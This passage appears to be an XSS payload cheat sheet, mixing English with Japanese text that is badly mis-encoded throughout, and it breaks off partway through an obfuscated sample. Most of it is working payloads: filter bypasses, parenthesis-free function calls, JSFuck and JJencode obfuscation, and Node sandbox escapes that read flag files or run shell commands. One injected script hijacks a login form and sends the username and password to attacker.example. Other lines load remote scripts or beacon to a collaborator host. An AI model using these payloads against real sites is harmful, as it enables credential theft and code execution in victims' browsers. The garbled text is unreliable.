;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
ãšã³ã³ãŒãããã code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads with eval(atob()) ãšã¹ã³ãŒãã®ãã¥ã¢ã³ã¹
URLs ãçãä¿ã¡ãåçŽãªããŒã¯ãŒããã£ã«ã¿ãåé¿ããããã«ãå®éã®ããžãã¯ã base64 ãšã³ã³ãŒãã㊠eval(atob('...')) ã§è©äŸ¡ã§ããŸããåçŽãªããŒã¯ãŒããã£ã«ã¿ã alertãevalãatob ã®ãããªèå¥åããããã¯ããå Žåã¯ããã©ãŠã¶äžã§åäžã«ã³ã³ãã€ã«ããã€ã€æååããããã£ã«ã¿ãåé¿ãã Unicode ãšã¹ã±ãŒããããèå¥åã䜿çšããŠãã ããïŒ
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
éèŠãªã¹ã³ãŒãã³ã°ã®æ³šæç¹: const/let 㯠eval() ã®å
åŽã§å®£èšããããšãããã¯ã¹ã³ãŒãã«ãªããã°ããŒãã«ãäœæããŸãããåŸç¶ã®ã¹ã¯ãªããããã¯ã¢ã¯ã»ã¹ã§ããŸãããå¿
èŠãªå Žåã¯ãåçã«æ¿å
¥ãã <script> èŠçŽ ã䜿ã£ãŠã°ããŒãã«ã§å代å
¥äžå¯ã®ããã¯ãå®çŸ©ããŠãã ããïŒe.g., to hijack a form handlerïŒ:
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
åç §: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode ãšã³ã³ãŒãã«ãã JS å®è¡
alert(1)
alert(1)
alert(1)
JavaScript ãã©ãã¯ãªã¹ãåé¿ãã¯ããã¯
æåå
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
ç¹æ®ãªãšã¹ã±ãŒã
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JSã³ãŒãå ã®ã¹ããŒã¹çœ®æ
<TAB>
/**/
JavaScript comments (ãã JavaScript Comments ããªãã¯)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (ããã® JavaScript new line ããªãã¯)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScriptã®ç©ºçœæå
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
ã³ã¡ã³ãå ã® Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
æ¬åŒ§ãªãã® JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (âalertâ), then the âthisâ value to that function (âwindowâ) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (âlocationâ), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The âhas instanceâ symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
ä»»æã®é¢æ° (alert) åŒã³åºã
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using æ»æè
ãå¶åŸ¡ããå®å
šã§ãªãããŒã¿ like location.href . An attacker, could abuse this to execute arbitrary JS code.
説æãé·ããªããããDOM vulnerabilities ã®èª¬æã¯ä»¥äžã®ããŒãžã«ç§»åããŸãã DOM vulnerabilities it was moved to this page:
ããã§ã¯ãDOM vulnerabilities ãäœããã©ã®ããã«çºçãããããããŠã©ã®ããã«ãšã¯ã¹ããã€ããããã«ã€ããŠè©³ãã説æããŠããŸãã
ãŸããäžèšã®æçš¿ã®æåŸã«ã¯ DOM Clobbering attacks ã«é¢ãã説æããããŸãã®ã§å¿ããã«ç¢ºèªããŠãã ããã
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
ãã®ææ³ã®å·§åŠãªæªçšäŸã¯ ãã®ããã°èšäº ã«ãããŸãã
Sending your session to the admin
ãŠãŒã¶ãŒãèªåã® profile ã admin ãšå ±æã§ãããã profile å ã« self XSS ããã admin ããããé²èЧãããšãè匱æ§ãããªã¬ãŒãããå¯èœæ§ããããŸãã
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single inâWASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as ââ turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
åå°ãããå€ããµãŒããŒïŒãŸãã¯ã¯ã©ã€ã¢ã³ãåŽïŒã§ unicode æ£èŠåãããŠãããã確èªãããã®æ©èœãæªçšããŠä¿è·ããã€ãã¹ã§ãããæ€èšŒããŠãã ããã ãã¡ãã§äŸã確èªã§ããŸãã
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment ã®ããã«ãHTML ã«åŒçšç¬Šãæ¿å
¥ãããåŒçšç¬Šã«ããå¶éããã€ãã¹ãããã¿ã°å
ã«è¿œå ã®ãã£ãŒã«ãïŒonfocusïŒãæ¿å
¥ã§ããŸãã
Form example (from this report), if you send the payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
âKeyâ,âValueâ ã®ãã¢ã¯ãã®ããã«ãšã³ãŒãããŸã:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
ãããšãonfocus 屿§ãæ¿å ¥ãããXSSãçºçããŸãã
ç¹æ®ãªçµã¿åãã
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 ã¬ã¹ãã³ã¹ã§ã®ãããæ³šå ¥ãä»ãã XSS
ãã inject headers in a 302 Redirect response ãã§ãããªããmake the browser execute arbitrary JavaScript ã詊ããŠã¿ãããšãã§ããŸãããã㯠not trivial ã§ããmodern browsers 㯠HTTP response body ãè§£éããªãïŒHTTP response status code ã 302 ã®å ŽåïŒãããåã« cross-site scripting payload ã眮ããã ãã§ã¯ç¡æå³ã§ãã
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
è±æ°åãšãããã®ã¿
ããè±åã»æ°åã»ãããã®ã¿ã®æåã§å¶éããã callback ã javascript ã execute ããããã«æå®ã§ãããªããRead this section of this post ãåç §ããŠãã®æåãæªçšããæ¹æ³ã確èªããŠãã ããã
XSS ã«å¯Ÿããæå¹ãª <script> Content-Types
(From here) application/octet-stream ã®ãã㪠content-type ã§ script ãããŒãããããšãããšãChrome ã¯æ¬¡ã®ãšã©ãŒãåºããŸã:
Refused to execute script from âhttps://uploader.c.hc.lc/uploads/xxxâ because its MIME type (âapplication/octet-streamâ) is not executable, and strict MIME type checking is enabled.
Chrome ã loaded script ãå®è¡ããããšãèš±å¯ããã®ã¯ãconst kSupportedJavascriptTypes ã«å«ãŸãã Content-Type ã®ã¿ã§ã詳现㯠https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc ã«ãããŸãã
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSSã«å¯Ÿããã¹ã¯ãªããã®çš®é¡
(åºå ž: here) ã§ã¯ãã©ã®ã¿ã€ããã¹ã¯ãªããã®èªã¿èŸŒã¿ãæå®ã§ããŸããïŒ
<script type="???"></script>
- module (ããã©ã«ãã説æäžèŠ)
- webbundle: Web Bundlesã¯ãHTMLãCSSãJSâŠãªã©ã®ããŒã¿ããŸãšããŠ**
.wbn**ãã¡ã€ã«ã«ããã±ãŒãžããæ©èœã§ãã
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import æ§æãæ¹åã§ããŸã
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
ãã®æå㯠this writeup ã§ãã©ã€ãã©ãªã eval ã«ãªãããããŠæªçšããããšã§ XSS ãåŒãèµ·ããããã«äœ¿ãããŸããã
- speculationrules: ãã®æ©èœã¯äž»ã«ããªã¬ã³ããªã³ã°ã«ãã£ãŠçããããã€ãã®åé¡ã解決ããããã®ãã®ã§ããåäœã¯æ¬¡ã®ãšããã§ãïŒ
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types to XSS
(From here) 以äžã® content types ã¯ãã¹ãŠã®ãã©ãŠã¶ã§ XSS ãå®è¡ã§ããŸã:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? ãªã¹ãã«ã¯ãªãã CTF ã§èŠãæ°ããã)
- application/rss+xml (off)
- application/atom+xml (off)
In other browsers other Content-Types can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml ã³ã³ãã³ãã¿ã€ã
ããŒãžã text/xml content-type ã§è¿ãããå Žåãåå空éãæå®ããŠä»»æã® JS ãå®è¡ããããšãå¯èœã§ã:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
ç¹æ®ãªçœ®æãã¿ãŒã³
次ã®ãããªã³ãŒãã䜿çšãããŠããå ŽåïŒ "some {{template}} data".replace("{{template}}", <user_input>)ãæ»æè
㯠special string replacements ã䜿ã£ãŠããã€ãã®ä¿è·ãåé¿ããããšããå¯èœæ§ããããŸãïŒ "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
äŸãã° this writeup ã§ã¯ãããã script å ã§ scape a JSON string ã«äœ¿çšããexecute arbitrary code ãå¯èœã«ããŸããã
Chrome Cache to XSS
XS Jails Escape
䜿çšã§ããæåãéãããŠããå ŽåãXSJail ã®åé¡ã«å¯Ÿããä»ã®æå¹ãªè§£æ±ºçã確èªããŠãã ããïŒ
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
ãã everything is undefined ã untrusted code ãå®è¡ããåã«ååšããŠããå ŽåïŒthis writeup ã®ããã«ïŒãä»»æã® untrusted code ã®å®è¡ãæªçšããããã«ãæçšãªãªããžã§ã¯ãããäœããªããšãããããçæããããšãå¯èœã§ã:
- Using import()
// although import "fs" doesnât work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- 鿥çã«
requireã«ã¢ã¯ã»ã¹ãã
According to this ã¢ãžã¥ãŒã«ã¯ Node.js ã«ãã£ãŠé¢æ°ã§ã©ãããããŠãããæ¬¡ã®ããã«ãªããŸã:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
ãããã£ãŠããã®ã¢ãžã¥ãŒã«ããå¥ã®é¢æ°ãåŒã³åºãããšãã§ããã°ããã®é¢æ°ããarguments.callee.caller.arguments[1]ã䜿ã£ãŠ**require**ã«ã¢ã¯ã»ã¹ããããšãå¯èœã§ã:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
åã®äŸãšåæ§ã«ããšã©ãŒãã³ãã©ã䜿çšããããšã§ãã¢ãžã¥ãŒã«ã®wrapperã«ã¢ã¯ã»ã¹ããŠ**require**颿°ãååŸããããšãã§ããŸã:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- 1ããŒãžã«è€æ°ã® obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- ããé«åºŠãª JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ãŠ,,,,ã¢]=[]+{}
,[ã,ã,ã,ã»,,ã,ã,ã,,,ã]=[!!ãŠ]+!ãŠ+ãŠ.ãŠ)[ã=ã¢+ãŠ+ã+ã+ã+ã+ã+ã¢+ã+ãŠ+ã][ã](ã+ã+ã»+ã+ã+'(-~ãŠ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
ïŸÏïŸïŸ = /ïœïœÂŽïŒïŸ ~â»ââ» / /*ÂŽâïœ*/["_"]
o = ïŸïœ°ïŸ = _ = 3
c = ïŸÎïŸ = ïŸïœ°ïŸ - ïŸïœ°ïŸ
ïŸÐïŸ = ïŸÎïŸ = (o ^ _ ^ o) / (o ^ _ ^ o)
ïŸÐïŸ = {
ïŸÎïŸ: "_",
ïŸÏïŸïŸ: ((ïŸÏïŸïŸ == 3) + "_")[ïŸÎïŸ],
ïŸïœ°ïŸïŸ: (ïŸÏïŸïŸ + "_")[o ^ _ ^ (o - ïŸÎïŸ)],
